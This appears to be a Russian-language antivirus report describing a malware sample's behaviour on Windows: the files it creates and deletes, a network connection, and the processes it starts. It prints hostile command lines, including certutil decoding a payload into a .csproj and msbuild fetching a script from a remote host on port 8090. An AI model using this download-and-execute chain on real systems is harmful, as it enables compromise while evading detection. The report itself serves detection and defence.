Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c %TEMP%\hEAXOgUmvettynKZUAGD.bat
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\soakhywxzmemlaurnkye.txt
- %TEMP%\heaxogumvettynkzuagd.bat
- %TEMP%\windows.csproj
- %TEMP%\igy5gcoa.0.cs
- %TEMP%\igy5gcoa.cmdline
- %TEMP%\igy5gcoa.out
- %TEMP%\csc92c3c7dd836a46a388d16b5fcbb28b5a.tmp
- %TEMP%\res7a5d.tmp
- %TEMP%\igy5gcoa.dll
Удаляет следующие файлы
- %TEMP%\res7a5d.tmp
- %TEMP%\csc92c3c7dd836a46a388d16b5fcbb28b5a.tmp
- %TEMP%\igy5gcoa.cmdline
- %TEMP%\igy5gcoa.out
- %TEMP%\igy5gcoa.pdb
- %TEMP%\igy5gcoa.0.cs
- %TEMP%\igy5gcoa.dll
- %TEMP%\windows.csproj
Сетевая активность
Подключается к
- '13#.#9.30.109':8090
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c %TEMP%\hEAXOgUmvettynKZUAGD.bat' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\igy5gcoa.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7A5D.tmp" "%TEMP%\CSC92C3C7DD836A46A388D16B5FCBB28B5A.TMP"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\certutil.exe' -decode %TEMP%\SoaKHYwxZMemlaurnkYe.txt %TEMP%\Windows.csproj
- '<SYSTEM32>\timeout.exe' /t 3 /nobreak
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe' %TEMP%\Windows.csproj /p:ScriptFile=http://13#.##.30.109:8090/abcv /p:Key="WindowsService"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\igy5gcoa.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7A5D.tmp" "%TEMP%\CSC92C3C7DD836A46A388D16B5FCBB28B5A.TMP"
